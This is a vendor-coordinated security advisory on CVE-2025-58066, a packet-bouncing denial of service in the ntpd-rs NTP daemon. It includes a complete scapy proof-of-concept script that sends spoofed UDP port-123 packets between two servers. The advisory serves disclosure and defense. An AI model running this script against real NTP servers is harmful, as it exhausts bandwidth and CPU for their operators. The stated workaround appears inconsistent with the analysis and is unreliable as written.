X41 D-Sec GmbH Security Advisory: X41-2025-002

DoS Vulnerability in ntpd-rs

Severity Rating: Medium

Confirmed Affected Versions: 1.6.1-1

Confirmed Patched Versions: 1.6.2

Vendor: Pendulum Project

Vendor URL: https://github.com/pendulum-project/ntpd-rs

Vendor Reference: XXX

Vector: Spoofed UDP packets

Credit: X41 D-Sec GmbH, Eric Sesterhenn

Status: Public

CVE: CVE-2025-58066

GitHub ID: GHSA-4855-q42w-5vr4 https://github.com/pendulum-project/ntpd-rs/security/advisories/GHSA-4855-q42w-5vr4

YesWeHack ID: YWH-PGM10851-31

CWE 400

CVSS Score: 6.9

CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Advisory URL: https://www.x41-dsec.de/lab/advisories/x41-2025-002-ntpdrs/

Summary and Impact

A DoS against ntpd-rs is possible by sending spoofed packets to an ntpd-rs server, with another ntpd-rs server as the source IP address. These packets will continue to bounce between both servers indefinitely, causing traffic and CPU consumption until either one of the services is shut down.

Product Description

ntpd-rs is a full-featured implementation of the Network Time Protocol, including Network Time Secure (NTS) support.

Analysis

The NTP implementation does not reject packets from privileged ports and answers to packets that have the association mode set to Server and not just to those that have it set to Client. Since the structure of the packets sent to and from the server is the same, this enables attackers to send spoofed packets from one ntpd-rs daemon to another, with the UDP source and target port set to 123. Packets will then bounce between both servers until one server is shutdown, since the answer of one server will be processed as another NTP client request by the other.

Proof of Concept

# cat ntpd_rs-dos.py
#!/usr/bin/python3
#
# DoS against ntp-rs 1.6.1-1 and below, written by eric.sesterhenn@x41-dsec.de
#
import binascii
import argparse
from scapy.all import *

# global variables
debug=False
count = 1

# Send packet to NTP server
def udpsend(source, target, data):
    global debug
    verbose = 1 if debug else 0

    ip = IP(src=source, dst=target)
    udp = UDP(sport=123, dport=123)
    pkt = ip/udp/data

    if debug:
        pkt.show()
    send(pkt, verbose=verbose)


ntpv4msg = binascii.unhexlify("240a03e600000000000000007f7f0101ec47e4c37c865168ec04cd98f5472b45ec47e4c5adab5aadec47e4c5adb1de90")

# Parse arguments and set defaults
parser = argparse.ArgumentParser()
parser.add_argument("source", help="Hostname or IP of source NTP server")
parser.add_argument("target", help="Hostname or IP of target NTP server")
parser.add_argument("-d", "--debug", action="store_true")
parser.add_argument("-c", "--count", type=int, help="Amount of packets to send", default=1)
args = parser.parse_args()

debug = args.debug
count = args.count
target = args.target
source = args.source

# create list with info on whether we got a response or not
for i in range(count):
    udpsend(source, target, ntpv4msg)


    # swap in case spoofed packets doesnt reach one of them
    target, source = source, target
print("")

Workarounds

A workaround would be to block packets from unprivileged ports to the NTP daemon at the firewall level.

Timeline

2025-08-14 Issue identified, PoC created, vendor contacted

2025-08-14 Vendor replied, YWH-PGM10851-31 and GHSA-4855-q42w-5vr4 assigned

2025-08-20 Info requested by vendor to help with replicating the issue.

2025-08-21 Details provided on how to replicate in docker environment.

2025-08-29 Patch released, CVE assigned and GitHub Advisory published

2025-09-05 X41 Advisory published due to vacation